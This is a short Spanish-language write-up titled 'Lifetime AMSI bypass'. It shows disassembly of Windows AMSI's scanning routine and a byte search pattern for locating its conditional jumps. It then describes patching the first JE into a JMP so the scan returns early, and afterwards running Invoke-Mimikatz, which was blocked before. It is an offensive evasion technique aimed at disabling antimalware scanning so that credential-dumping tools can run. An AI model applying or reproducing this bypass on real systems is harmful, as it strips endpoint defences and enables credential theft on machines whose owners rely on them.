
Lifetime AMSI bypass
obtenemos la dirección exacta de la instrucción de salto buscando el primer byte de cada instrucción; esta técnica es efectiva incluso ante actualizaciones o modificaciones del conjunto de datos objetivo.
por ejemplo :
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
el patrón de búsqueda será así :
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

El programa compara el valor de RDX consigo mismo. Si la comparación evalúa a 0, el programa ejecuta un salto para retornar. De lo contrario, el programa continúa evaluando la siguiente instrucción.

no podemos ejecutar "Invoke-Mimikatz"

Parcheamos el primer byte y lo cambiamos de JE a JMP para que retorne directamente.


ahora ejecutamos "Invoke-Mimikatz"
